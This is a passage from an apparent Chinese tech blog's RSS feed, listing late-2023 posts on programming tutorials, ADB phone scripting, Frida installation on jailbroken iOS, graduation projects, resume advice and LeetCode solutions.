contains (Object o) 判断o是否在线性表中 int indexOf (Object o) 返回第一个o所在下标 int lastIndexOf (Object o) 返回最后一个o所在的下标 List&amp;lt;E&amp;gt; subList (int fromIndex, int toIndex) 截取部分List 三，List的使用 注意：List是个接口，并不能直接用来实例化。 如果要使用，必须去实例化List的实现类。在集合框架中，ArrayList和LinkedList都实现了List接口。 详情待下一章…… </description>
    </item>
    <item>
      <title>VistualStudio查看类图UML</title>
      <link>https://bchobby.github.io/posts/c61942ce42a6e3973829b16b94e46e1f/</link>
      <pubDate>Fri, 29 Dec 2023 09:09:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c61942ce42a6e3973829b16b94e46e1f/</guid>
      <description>点击菜单栏中的工具–》获取工具和功能。&#xA;然后在资源管理器中对应的代码中鼠标右键选择查看类图&#xA;生成一个ClassDiagram.cd文件就是类图的文件了。&#xA;根据需要拖拽就可以生成类图了。</description>
    </item>
    <item>
      <title>【Vue】VueSlickCarousel实现轮播展览效果</title>
      <link>https://bchobby.github.io/posts/90fd9cce1aa582cd57cbc7894454a9a9/</link>
      <pubDate>Fri, 29 Dec 2023 09:01:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90fd9cce1aa582cd57cbc7894454a9a9/</guid>
      <description>&amp;lt;template&amp;gt; &amp;lt;div class=&#34;slick&#34;&amp;gt; &amp;lt;VueSlickCarousel v-bind=&#34;{ arrow: true, focusOnSelect: true, speed: 500, slidesToShow: 4, slidesToScroll: 1, touchThreshold: 5, }&#34; &amp;gt; &amp;lt;div&amp;gt;&amp;lt;div class=&#34;slick-item&#34;&amp;gt;1&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div&amp;gt;&amp;lt;div class=&#34;slick-item&#34;&amp;gt;2&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div&amp;gt;&amp;lt;div class=&#34;slick-item&#34;&amp;gt;3&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div&amp;gt;&amp;lt;div class=&#34;slick-item&#34;&amp;gt;4&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div&amp;gt;&amp;lt;div class=&#34;slick-item&#34;&amp;gt;5&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div&amp;gt;&amp;lt;div class=&#34;slick-item&#34;&amp;gt;6&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div&amp;gt;&amp;lt;div class=&#34;slick-item&#34;&amp;gt;1&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div&amp;gt;&amp;lt;div class=&#34;slick-item&#34;&amp;gt;2&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div&amp;gt;&amp;lt;div class=&#34;slick-item&#34;&amp;gt;3&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div&amp;gt;&amp;lt;div class=&#34;slick-item&#34;&amp;gt;4&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div&amp;gt;&amp;lt;div class=&#34;slick-item&#34;&amp;gt;5&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div&amp;gt;&amp;lt;div class=&#34;slick-item&#34;&amp;gt;6&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;template #prevArrow=&#34;&#34;&amp;gt; &amp;lt;button class=&#34;arrow-btn&#34;&amp;gt;&amp;amp;lt;&amp;lt;/button&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;template #nextArrow=&#34;&#34;&amp;gt; &amp;lt;button class=&#34;arrow-btn&#34;&amp;gt;&amp;amp;gt;&amp;lt;/button&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;/VueSlickCarousel&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import VueSlickCarousel from &#34;vue-slick-carousel&#34;; import &#34;vue-slick-carousel/dist/vue-slick-carousel.css&#34;; export default { components: { VueSlickCarousel }, }; &amp;lt;/script&amp;gt; &amp;lt;style scoped lang=&#34;</description>
    </item>
    <item>
      <title>电脑系统坏了用U盘重装系统教程</title>
      <link>https://bchobby.github.io/posts/96681fe14a180f83c728acf1fb5a130e/</link>
      <pubDate>Fri, 29 Dec 2023 08:47:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/96681fe14a180f83c728acf1fb5a130e/</guid>
      <description>我们平时办公、学习都会用到电脑，如果电脑系统坏了，就会影响自己正常使用电脑，这时候就可以通过U盘来重装一个正常的操作系统。如果您不知道具体的重装操作步骤，那么可以参考下面小编分享的利用U盘快速完成操作系统重装的步骤介绍。&#xA;准备工作&#xA;1. 一台正常联网可使用的电脑。&#xA;2. 一个大于8GB的空U盘。&#xA;3. 下载系统之家装机大师。&#xA;U盘启动盘制作步骤&#xA;注意：制作期间，U盘会被格式化，因此U盘中的重要文件请注意备份。如果需要安装系统的是C盘，重要文件请勿放在C盘和桌面上。&#xA;1. 退出安全软件，运行“系统之家装机大师”查看注意事项，点击“我知道了”。&#xA;2. 选择“U盘启动”点击“开始制作”。&#xA;3. 跳出提示备份U盘内重要资料，如无需备份，点击“确定”。&#xA;4. 选择自己想要安装的系统镜像，点击“下载系统并制作”。&#xA;5. 正在下载U盘启动工具制作时所需的组件，请耐心等待。&#xA;6. 正在下载系统镜像，请勿关闭软件。&#xA;7. 正在制作U盘启动工具。&#xA;8. 正在拷备系统镜像至U盘。&#xA;9. 提示制作完成，点击“确定”。&#xA;10. 选择“模拟启动”，点击“BIOS”。&#xA;11. 出现这个界面，表示系统之家装机大师U盘启动工具已制作成功。&#xA;U盘装Win10步骤&#xA;1. 查找自己电脑的U盘启动快捷键。&#xA;2. U盘插入电脑，重启电脑按快捷键选择U盘进行启动。进入后，键盘↑↓键选择第二个[02]启动Windows10PEx64（网络版），然后回车。&#xA;3. 进入PE界面后，点击桌面的一键重装系统。&#xA;4. 打开工具后，点击浏览选择U盘中的下载好的系统镜像ISO。选择后，再选择系统安装的分区，一般为C区，如若软件识别错误，需用户自行选择。&#xA;5. 选择完毕后点击下一步。&#xA;6. 此页面直接点击安装即可。&#xA;7. 系统正在安装，请等候。&#xA;8. 系统安装完毕后，软件会自动提示需要重启，并且拔出U盘，请用户拔出U盘再重启电脑。&#xA;9. 重启后，系统将自动进入系统安装界面，到此，装机就成功了！</description>
    </item>
    <item>
      <title>（附源码）PHP人事信息管理系统 计算机毕设45934</title>
      <link>https://bchobby.github.io/posts/fb23a19cf742c104d033771648ffb885/</link>
      <pubDate>Fri, 29 Dec 2023 08:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb23a19cf742c104d033771648ffb885/</guid>
      <description>PHP人事信息管理系统 摘 要 科技进步的飞速发展引起人们日常生活的巨大变化，电子信息技术的飞速发展使得电子信息技术的各个领域的应用水平得到普及和应用。信息时代的到来已成为不可阻挡的时尚潮流，人类发展的历史正进入一个新时代。在现实运用中，应用软件的工作规则和开发步骤，采用PHP技术建设人事信息管理系统。&#xA;本设计主要实现集人性化、高效率、便捷等优点于一身的人事信息管理系统，完成首页、系统用户、通知公告、部门信息、员工薪资、考勤签到、员工请假、招聘信息、应聘信息等功能模块。采取面对对象的开发模式进行软件的开发和硬体的架设，能很好的满足实际使用的需求，完善了对应的软体架设以及程序编码的工作，采取MySQL作为后台数据的主要存储单元，采用PHP技术、Ajax技术进行业务系统的编码及其开发，实现了本系统的全部功能。本次报告，首先分析了研究的背景、作用、意义，为研究工作的合理性打下了基础。针对在线考试系统的各项需求以及技术问题进行分析，证明了系统的必要性和技术可行性，然后对设计系统需要使用的技术软件以及设计思想做了基本的介绍，最后来实现人事信息管理系统和部署运行使用它。&#xA;关键字：人事信息管理系统 ; PHP；数据库&#xA;PHP Personnel Information Management System&#xA;Abstracts&#xA;The rapid development of technology has caused tremendous changes in people&#39;s daily lives, and the rapid development of electronic information technology has popularized and applied the application level of electronic information technology in various fields. The arrival of the information age has become an unstoppable fashion trend, and the history of human development is entering a new era.</description>
    </item>
    <item>
      <title>（附源码）python兴农购物网站系统 毕业设计38256</title>
      <link>https://bchobby.github.io/posts/53053518543ea01a35edf18bb2036e2e/</link>
      <pubDate>Fri, 29 Dec 2023 08:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53053518543ea01a35edf18bb2036e2e/</guid>
      <description>Django兴农购物网站系统 摘 要 助农工作是当前我国全面建成小康社会的重点工作，由于我国农村地域广大，贫困人口多，区域差异大，因此，不同区域的扶贫方法也是不一样的。近年来，随着网络的普及。许多农村地区物产丰富，但由于销售渠道不畅等原因，导致农民处于无法致富的贫困状态，而兴农购物网站系统恰好能解决这个问题，农户能在系统上进行农产品发布，产品销售，用户也可以在系统进行购买，还可以进行溯源信息查看，对于扩大内需和促进农产品的销售发展有着现实而深远的意义。&#xA;兴农购物网站系统主要是提供给用户一个可以购买农产品的平台，本文主要是采用Python语言和MySQL数据库技术，基于Django框架作为开发平台，完成一个兴农购物网站系统。&#xA;关键词：Django框架；购物网站；MySQL数据库&#xA;Django Xingnong Shopping Website System ABSTRACT The work of assisting agriculture is currently the key task for China to fully build a moderately prosperous society. Due to the vast rural area, large numbers of poor people, and large regional differences, the poverty alleviation methods in different regions are also different. In recent years, with the popularization of the network. Many rural areas are rich in products, but due to poor sales channels and other reasons, farmers are in a poverty situation where they cannot become rich.</description>
    </item>
    <item>
      <title>第7.4节-中文简历制作-应届生求职者在撰写该模块内容时往往存在的问题</title>
      <link>https://bchobby.github.io/posts/c253cfa5ddc94e7491b8e54ee30e6a3d/</link>
      <pubDate>Fri, 29 Dec 2023 08:00:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c253cfa5ddc94e7491b8e54ee30e6a3d/</guid>
      <description>(点击即可收听)&#xA;在写简历中,很多同学,针对自己的一个工作经历与项目经历&#xA;要么有丰富的经历,但是却不会表达,要么就是没有多少经历，主要有几下个点&#xA;（1）缺少实习经历，没有什么可以写；&#xA;（2）过往实习经历与应聘职位相关性不大，有的实习完全是为了应付学校考核；&#xA;（3）实习内容以打印、复印、跑腿等琐碎的工作为主，缺乏技术含量；&#xA;（4）虽然有大公司实习经历，但是因为缺乏好的内容描述方式，本来应该很闪亮的经历却被描述得平淡无奇&#xA;寻找实习机会是一个从校园步入社会的过程，是一个从无到有、从四处撒网到精准投递的过程&#xA;第一份实习往往是最难找的，从大二甚至大一开始就应该对此进行准备和筹划&#xA;如果校方或同学、朋友有一定的资源，能够代为帮忙引荐，这可能会是你获取第一份实习的捷径&#xA;第一份实习不要太在意公司规模、实习工资等，只要公司正规合法，直属领导愿意指导新人，你也愿意在工作中勤学多做，就一定会有所收获&#xA;另外就是日常多参加与今后求职目标相关的科研项目或实践比赛，有意识地弥补实习经历的缺陷&#xA;切忌移花接木，把他人的实习经历套到自己身上&#xA;如果捏造事实、编故事，在有经验的面试官面前很容易就会暴露，最后的结果就是浪费双方的时间，还给企业留下不诚信的印象&#xA;通过实习来探索自己真正感兴趣或适合的方向。在做过一两份实习之后，就要开始慢慢聚焦，不要再漫天撒网，使得自己的背景和经验沿着某一个特定的方向延续和沉淀，不要因为实习补贴多一点少一点或上班距离近一些远一些而轻易变换实习方向&#xA;如果早期实习经历不足或实习经历不对口，一些企业实践经历、相关培训经历也都可以写在简历中作为加分项&#xA;可以将整个模块命名为“实习实践经历”“商务实践”等，把与求职岗位相关的实习、实践、培训经历都放在下面&#xA;一般正规的企业都不会让实习生承担很大的责任，毕竟实习生并未和企业签署劳动合同，也缺乏相应的工作经验和技能，在工作中会有较高的犯错率&#xA;所以一般而言，实习生从事的都是偏基础的辅助性工作，俗称“打杂”&#xA;越是大规模的企业，实习生的工作往往越简单琐碎；越是小公司，因为缺乏人手，越会让实习生干更重要的活&#xA;所以在我看来，从储备实习经验的角度来说，大公司和小公司的经历都需要，利用在小公司的经历来学习技能，利用在大公司的经历来包装自己的实习背景，这样几份实习做下来，你的求职竞争力会大幅提升，也更加接近一个全职工作者的职业素养&#xA;需要强调的是，即便工作很不起眼、很琐碎，只要你有心，依然能在这个岗位上闪闪发光&#xA;任何一项琐碎的工作都有提升和改进的空间，关键看你是不是有心人，是想混一个实习证明还是在这个岗位绽放自己&#xA;很多大人物都是从小事开始做起，把每一件小事都做得超出他人预期&#xA;逐渐承担起越来越大的责任&#xA;在简历辅导的过程中，我们也确实发现有的同学在实习过程中做了不少工作，但写在简历上只是寥寥数笔，这是非常吃亏的&#xA;尤其是当实习公司并不知名时，工作内容的描述就显得更为重要&#xA;因此，实习结束后，还得善于把实习内容形成文字，并在简历中很好地表达出来&#xA;巧用规则撰写完美工作经历 如何写好一段工作经历呢？我们可以运用以下几个规则和方法&#xA;用STAR法则搭建整体内容框架 给大家介绍简历撰写中非常实用的一个法则——STAR法则，即每一段经历都可以归纳为&#xA;背景（Situation，S）、&#xA;任务（Task，T）、&#xA;行动（Action，A）、&#xA;结果（Result，R）四个部分来表述，从这四个方面来充分挖掘自己的经历，力求将其写得出彩&#xA;描述工作内容（Task）&#xA;这是指描述你的工作职责、内容、流程是什么，以及要实现的目标是什么。&#xA;例如，管理10人团队，策划一场学院公益讲座；&#xA;完成电器行业研究分析日报，并编写团队推文；负责公司产品运营，提升产品新增用户的数量和现存用户的活跃度等&#xA;所采取的行动（Action）&#xA;这是指描述面对工作任务时你所采取的行动&#xA;例如，为了将讲座举办好，你调动了5家媒体宣传，邀请到了某公司的总经理发言&#xA;为了撰写研究报告，你使用Wind资讯平台获取数据，并使用Matlab软件进行数据分析&#xA;为了增加用户数量，你策划了病毒式分享游戏，撰写了知乎爆款软文等&#xA;最终的结果（Result）&#xA;上海xxxx科技有限公司 会计助理实习生&#xA;●协助会计人员完成基础性工作，制作和整理原始凭证&#xA;●负责发票粘贴和报销&#xA;这是指描述你的行动所实现的结果，我们尝试用STAR法则来思考这段描述：&#xA;你的独特之处和价值点在哪里？&#xA;你做这份实习期望实现什么目标？&#xA;发现了什么问题？&#xA;采用了什么新的方法和流程？&#xA;你的新方法有没有提高效率？&#xA;有没有降低出错的频率？&#xA;你对团队的贡献是什么&#xA;我们可以按照STAR法则对这段经历进行修改，修改后的结果如下：&#xA;上海xx科技有限公司 会计助理实习生&#xA;●参与公司原始会计凭证的粘贴、整理、分类、录入工作，熟练使用金蝶软件，通过改进数据录入流程使效率提升了20%，任职期间零错误率&#xA;●为企业生产部门制定记账报销流程表，并完成部门成员培训工作，根据生产部门的财务数据分析结果，提出优化库存的建议&#xA;STAR法则不仅适用于简历经历的撰写，也同样适合应用在面试问题的解答中&#xA;制定了甘特图，确立了各方主要对接人的职责和分工，锁定了项目进度，并通过英文邮件完成跨国沟通（A）&#xA;最后，活动如期举办，参与人数比往期平均人数多出80%，参与方好评率达95%以上&#xA;与STAR法则相类似的还有一个PAR（Problem，Action，Result）法则，本质上两个法则是相通的&#xA;即描述你在工作中遇到了哪些问题、采取了什么解决方式、达到了怎样的结果&#xA;职场一切都是以结果为导向的，没有人在意你做了什么、花费了多少精力和心血，只在意最后是否达到了预期的结果</description>
    </item>
    <item>
      <title>uniapp通过蓝牙传输数据 （ios）</title>
      <link>https://bchobby.github.io/posts/384fc06e640a0835d8ca45345fbea94e/</link>
      <pubDate>Fri, 29 Dec 2023 07:58:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/384fc06e640a0835d8ca45345fbea94e/</guid>
      <description>在uni-app中，可以通过uni-ble（uni-app官方提供的蓝牙插件）来实现iOS设备上的蓝牙数据传输。&#xA;首先，确保已在uni-app的manifest.json文件中添加uni-ble插件的配置：&#xA;```&#xA;&#34;permission&#34;: {&#xA;&#34;scope.userLocation&#34;: {&#xA;&#34;desc&#34;: &#34;你的位置信息将用于蓝牙设备扫描&#34;,&#xA;&#34;bugs&#34;: []&#xA;}&#xA;},&#xA;&#34;usingComponents&#34;: {&#xA;&#34;uni-ble&#34;: &#34;@dcloudio/uni-ble/uni-ble&#34;&#xA;}&#xA;```&#xA;接下来，你可以在uni-app的页面中使用uni-ble插件的API来进行蓝牙数据传输。下面是一个简单的例子：&#xA;```html&#xA;&amp;lt;template&amp;gt;&#xA;&amp;lt;view&amp;gt;&#xA;&amp;lt;button @click=&#34;scanDevices&#34;&amp;gt;扫描设备&amp;lt;/button&amp;gt;&#xA;&amp;lt;button @click=&#34;connectDevice&#34;&amp;gt;连接设备&amp;lt;/button&amp;gt;&#xA;&amp;lt;button @click=&#34;sendData&#34;&amp;gt;发送数据&amp;lt;/button&amp;gt;&#xA;&amp;lt;/view&amp;gt;&#xA;&amp;lt;/template&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;export default {&#xA;methods: {&#xA;scanDevices() {&#xA;uni.openBluetoothAdapter({&#xA;success(res) {&#xA;// 开始扫描设备&#xA;uni.startBluetoothDevicesDiscovery({&#xA;services: [], // 可选，指定蓝牙设备主 service 的 uuid 列表&#xA;success(res) {&#xA;console.log(&#39;开始扫描设备&#39;)&#xA;},&#xA;fail(err) {&#xA;console.log(err)&#xA;}&#xA;})&#xA;},&#xA;fail(err) {&#xA;console.log(err)&#xA;}&#xA;})&#xA;},</description>
    </item>
    <item>
      <title>大数据前馈神经网络解密：深入理解人工智能的基石</title>
      <link>https://bchobby.github.io/posts/5a0754bef374dadc5290eb981a116d6c/</link>
      <pubDate>Fri, 29 Dec 2023 00:52:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a0754bef374dadc5290eb981a116d6c/</guid>
      <description>文章目录 大数据前馈神经网络解密：深入理解人工智能的基石一、前馈神经网络概述什么是前馈神经网络前馈神经网络的工作原理应用场景及优缺点 二、前馈神经网络的基本结构输入层、隐藏层和输出层激活函数的选择与作用网络权重和偏置 三、前馈神经网络的训练方法损失函数与优化算法反向传播算法详解避免过拟合的策略 四、使用Python和PyTorch实现FNN4.1 准备数据集选择合适的数据集数据预处理PyTorch数据加载器 4.2 构建模型结构定义网络架构选择激活函数权重初始化构建与任务相匹配的损失函数 4.3 训练模型选择优化器训练循环模型验证调整学习率保存和加载模型可视化训练过程 4.4 模型评估与可视化评估指标模型验证混淆矩阵ROC和AUC特征重要性和模型解释可视化隐藏层 五、前馈神经网络的先进变体与应用多层感知器（MLP）卷积神经网络（CNN）循环神经网络（RNN）Transformer结构强化学习中的FNN生成对抗网络（GAN）FNN在医学图像分析中的应用 六、总结与未来展望总结未来展望结语结语 大数据前馈神经网络解密：深入理解人工智能的基石 本文深入探讨了前馈神经网络（FNN）的核心原理、结构、训练方法和先进变体。通过Python和PyTorch的实战演示，揭示了FNN的多样化应用。&#xA;一、前馈神经网络概述 前馈神经网络（Feedforward Neural Network, FNN）是神经网络中最基本和经典的一种结构，它在许多实际应用场景中有着广泛的使用。在本节中，我们将深入探讨FNN的基本概念、工作原理、应用场景以及优缺点。&#xA;什么是前馈神经网络 前馈神经网络是一种人工神经网络，其结构由多个层次的节点组成，并按特定的方向传递信息。与之相对的是递归神经网络，其中信息可以在不同层之间双向传递。&#xA;结构特点： 由输入层、一个或多个隐藏层和输出层组成。信息流动： 信息仅在一个方向上流动，从输入层通过隐藏层最终到达输出层，没有反馈循环。 前馈神经网络的工作原理 前馈神经网络的工作过程可以分为前向传播和反向传播两个阶段。&#xA;前向传播： 输入数据在每一层被权重和偏置加权后，通过激活函数进行非线性变换，传递至下一层。反向传播： 通过计算输出误差和每一层的梯度，对网络中的权重和偏置进行更新。 应用场景及优缺点 前馈神经网络在许多领域都有着广泛的应用，包括图像识别、语音处理、金融预测等。&#xA;优点： 结构简单，易于理解和实现。可以适用于多种数据类型和任务。 缺点： 对于具有时序关系的数据处理能力较弱。容易陷入局部最优解，需要合理选择激活函数和优化策略。 二、前馈神经网络的基本结构 前馈神经网络（FNN）的基本结构包括输入层、隐藏层和输出层，以及相应的激活函数、权重和偏置。这些组成部分共同构成了网络的全貌，并定义了网络如何从输入数据中提取特征并进行预测。本节将详细介绍这些核心组成部分。&#xA;输入层、隐藏层和输出层 前馈神经网络由三个主要部分组成：输入层、隐藏层和输出层。&#xA;输入层： 负责接收原始数据，通常对应于特征的维度。隐藏层： 包含一个或多个层，每层由多个神经元组成，用于提取输入数据的抽象特征。输出层： 产生网络的最终预测或分类结果。 激活函数的选择与作用 激活函数是神经网络中非常重要的组成部分，它向网络引入非线性特性，使网络能够学习复杂的函数。&#xA;常见激活函数： 如ReLU、Sigmoid、Tanh等。作用： 引入非线性，增强网络的表达能力。 网络权重和偏置 权重和偏置是神经网络的可学习参数，它们在训练过程中不断调整，以最小化预测错误。&#xA;权重： 连接各层神经元的线性因子，控制信息在神经元之间的流动。偏置： 允许神经元在没有输入的情况下激活，增加模型的灵活性。 三、前馈神经网络的训练方法 前馈神经网络（FNN）的训练是一个复杂且微妙的过程，涉及多个关键组件和技术选择。从损失函数的选择到优化算法，再到反向传播和过拟合的处理，本节将深入探讨FNN的训练方法。&#xA;损失函数与优化算法 损失函数和优化算法是神经网络训练的基石，决定了网络如何学习和调整其权重。&#xA;损失函数： 用于衡量网络预测与实际目标之间的差异，常见的损失函数包括均方误差（MSE）、交叉熵损失等。优化算法： 通过最小化损失函数来更新网络权重，常见的优化算法包括随机梯度下降（SGD）、Adam、RMSProp等。 反向传播算法详解 反向传播是一种高效计算损失函数梯度的算法，它是神经网络训练的核心。&#xA;工作原理： 通过链式法则，从输出层向输入层逐层计算梯度。权重更新： 根据计算的梯度，使用优化算法更新网络的权重和偏置。 避免过拟合的策略 过拟合是训练神经网络时常遇到的问题，有多种策略可以减轻或避免过拟合。</description>
    </item>
    <item>
      <title>flask之文件管理系统-项目 JRP上线啦！！！ ----Bug版</title>
      <link>https://bchobby.github.io/posts/895a26db43d900b7e2804f3c5ac41a29/</link>
      <pubDate>Fri, 29 Dec 2023 00:40:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/895a26db43d900b7e2804f3c5ac41a29/</guid>
      <description>既然单人应用那么就不需要注册、登录了，太麻烦，直接上功能项，而初版太不好看了，略微修改归纳了一下，出了第一版&#xA;很有精神，为了纪念，这个网页项目我命名为JRP&#xA;主要就是：&#xA;1、定义一个类&#xA;2、集中定义路由&#xA;3、HTML模版使用一个模版，在模版内依靠变量判断是否执行&#xA;4、利用CSS进行格式定义（这块待优化，时间短，我等不及让它在我树莓派上工作起来了…）&#xA;上代码：&#xA;from flask import Flask, render_template, send_file, request import os # 定义类 class FileManagementApp: # 定义类变量，这里是放数据库根目录，我这里就是我树莓派系统上的存储盘挂载位置 gDataPath = os.path.normpath(&#34;/data/HOME_NAS/data&#34;) def __init__(self): self.app = Flask(__name__) self.app.config[&#39;UPLOAD_FOLDER&#39;] = &#39;&#39; # 添加basename方法，让HTML中使用 路径|basename 输出结果是路径文件夹名或文件名而不是完整路径 self.app.add_template_filter(self.basename) # 把所有下面函数定义的路由集中到这里，清晰明了 self.app.route(&#39;/&#39;)(self.mainweb) self.app.route(&#39;/&amp;lt;show_item&amp;gt;&#39;)(self.index) self.app.route(&#39;/download/&amp;lt;file_name&amp;gt;&#39;)(self.download_file) self.app.route(&#39;/show_folder/&amp;lt;folder_name&amp;gt;&#39;)(self.show_folder) self.app.route(&#39;/return_folder/&amp;lt;folder_name&amp;gt;&#39;)(self.return_folder) self.app.route(&#39;/upload&#39;, methods=[&#39;POST&#39;])(self.upload_file) self.app.route(&#39;/search&#39;, methods=[&#39;POST&#39;])(self.search_file) def basename(self, value): return os.path.basename(value) # 主页面，show_main=True控制让它显示在html中，避免HTML中所有模块都显示在网页中，默认是关闭的，参考HTML模版 def mainweb(self): return render_template(&#39;index.html&#39;, show_main=True ) # 根据mainweb页面用户点击后的返回，跳转到不同的页面，show_xxx=True 则是打开显示不同的模块，其余不显示 def index(self, show_item): if show_item == &#34;</description>
    </item>
    <item>
      <title>通过ADB来实现脚本来控制手机</title>
      <link>https://bchobby.github.io/posts/4df494b4eeec6cd48a1afe407e22e8b9/</link>
      <pubDate>Fri, 29 Dec 2023 00:37:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4df494b4eeec6cd48a1afe407e22e8b9/</guid>
      <description>ADB 简介 adb的全称为Android Debug Bridge,安卓调试桥,可以通过调试命令来控制手机,诸如开机,关机等按键控制;或者启动,关闭应用;异或进行触摸模拟.&#xA;通过学习adb,可以实现简单的脚本控制,最大的特点是不需要root,对于普通手机都可以进行,帮助我们完成一些简单的重复性事件,诸如刷资源,各种app的签到&#xA;环境配置 电脑端 将下面3个文件弄到一个文件夹里D:\android\adb,然后将其添加到path,adb环境就配置好了&#xA;AdbWinUsbApi.dll AdbWinApi.dll adb.exe 然后将这个文件夹添加到path中&#xA;cmd中 adb version检查是否添加成功&#xA;手机端 开发者选项&#xA;开启开发者选项 : 以小米手机为例,先进入开发者设置,miui版本号点5下,更多设置-&amp;gt;开发者选项-&amp;gt;开启&#xA;打开usb调试 : 在开发者选项中,开启usb调试以便于执行adb指令,miui还需要开启usb调试(安全设置)&#xA;获取坐标 : 开发者选项中,开启指针位置以便于模拟触摸时获取位置&#xA;设备管理 远程调试 基于内网穿透实现远程调试,就可以不用占用那少得可怜的usb口了,下面是统一管理所有设备的命令&#xA;开启关闭服务,默认会自动开启,关闭服务可用于断开多个连接的设备 adb start-server adb kill-server adb devices 查看设备列表,如果有模拟器一般会自动连接,所以如果想在开模拟器时断开设备就需要获取模拟器ip:port然后断开 实现步骤&#xA;先使用内网穿透得到虚拟IP 如100.119.133.92&#xA;推荐tailscale或蒲公英&#xA;手机通过usb调试设置监听端口adb tcpip 5555&#xA;断开手机后,电脑连接 如adb connect 100.119.133.92:5555&#xA;调试结束后可以adb disconnect 100.119.133.92:5555 断开连接&#xA;远程控制 scrcpy 使用这个软件,在上面远程连接之后就可以进行远程控制,当然也可以直接连usb获得稳定的投屏&#xA;手机adb Local ADB&#xA;先连接任意一个 Wi-Fi，就算没有接入互联网都可以；然后打开 LADB，将它调整为小窗模式（或分屏模式）——因为无线调试的配对码等信息每次点击都会动态生成，所以才需要小窗模式同时打开本应用和开发者选项；进入开发者选项，开启无线调试，首次使用需要配对设备，将配对码和端口填入本应用即可；开心使用adb 应用管理 常见命令中常见pm和am的缩写&#xA;pm package manager&#xA;am activity manager</description>
    </item>
    <item>
      <title>概率论基础</title>
      <link>https://bchobby.github.io/posts/fe6db9cec94dff14eba7cf505ee8a5d1/</link>
      <pubDate>Thu, 28 Dec 2023 23:43:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe6db9cec94dff14eba7cf505ee8a5d1/</guid>
      <description>1.概率论 1.1 随机事件与概率 1.1.1 基本概念 ​ 样本点(sample point)： 称为试验 S S S的可能结果为样本点，用 ω \omega ω表示。&#xA;​ 样本空间(sample space)：称试验 S S S的样本点构成的集合为样本空间，用 Ω \Omega Ω表示。于是&#xA;Ω = { ω ∣ ω 是试验 S 的样本点 } \begin{aligned} \Omega = \{\omega|\omega是试验S的样本点\} \end {aligned} Ω={ω∣ω是试验S的样本点}​&#xA;​ 事件(event)： 设 Ω \Omega Ω是试验 S S S的样本空间。当 Ω \Omega Ω中只有有限个样本点时，称 Ω \Omega Ω的子集为事件。当试验的样本点(试验结果) ω \omega ω落在 A A A中，称事件 A A A发生，否则称 A A A不发生。&#xA;​ 按照上述约定，子集符号 A ⊂ Ω A \subset \Omega A⊂Ω表示 A A A是事件。通常用大写字母 A , B , C , D A,B,C,D A,B,C,D等表示事件。</description>
    </item>
    <item>
      <title>【iOS安全】越狱iOS安装Frida | 安装指定版本Frida</title>
      <link>https://bchobby.github.io/posts/f6ca299ffc7b3bf45e1d78b870a84ba0/</link>
      <pubDate>Thu, 28 Dec 2023 23:16:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f6ca299ffc7b3bf45e1d78b870a84ba0/</guid>
      <description>越狱iPhone安装Frida 本文的方法适用于已越狱的iPhone手机&#xA;打开Cydia，软件源，编辑（右上角），添加（左上角）：https://build.frida.re&#xA;然后搜索Frida，点击安装&#xA;参考：https://blog.csdn.net/boildoctor/article/details/122769942&#xA;安装指定版本Frida iOS上的Frida版本需要和PC上的Frida版本保持一致，所以有时候需要安装指定版本Frida&#xA;下载指定版本deb包：&#xA;https://github.com/frida/frida/releases&#xA;例如：frida_15.2.2_iphoneos-arm.deb&#xA;通过XFTP将deb拷贝至手机/private/var/tmp目录（也就是/tmp目录）&#xA;ssh进入手机 /tmp目录，执行安装：&#xA;dpkg -i xx.deb 参考：https://cloud.tencent.com/developer/article/2160543</description>
    </item>
    <item>
      <title>力扣热题100道-子串篇</title>
      <link>https://bchobby.github.io/posts/a7188dbe2a383c751495f9c7b76cf268/</link>
      <pubDate>Thu, 28 Dec 2023 22:58:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a7188dbe2a383c751495f9c7b76cf268/</guid>
      <description>字串 560.和为K的子数组 给你一个整数数组 nums 和一个整数 k ，请你统计并返回 该数组中和为 k 的子数组的个数 。&#xA;子数组是数组中元素的连续非空序列。&#xA;示例 1：&#xA;输入：nums = [1,1,1], k = 2 输出：2 示例 2：&#xA;输入：nums = [1,2,3], k = 3 输出：2 /** 思路：采用前缀和＋哈希表解决 前缀和求出来后存到哈希表中，每个试着减去k如果有值说明有连续字串和为K **/ class Solution { public: int subarraySum(vector&amp;lt;int&amp;gt;&amp;amp; nums, int k) { int n=nums.size(); vector&amp;lt;int&amp;gt; f(n); f[0]=nums[0]; for(int i=1;i&amp;lt;n;i++){ f[i]=f[i-1]+nums[i]; } unordered_map&amp;lt;int,int&amp;gt; hash; hash[0]=1; int res=0; for(int i=0;i&amp;lt;n;i++){ res+=hash[f[i]-k]; hash[f[i]]++; } return res; } }; 239.滑动窗口最大值 给你一个整数数组 nums，有一个大小为 k 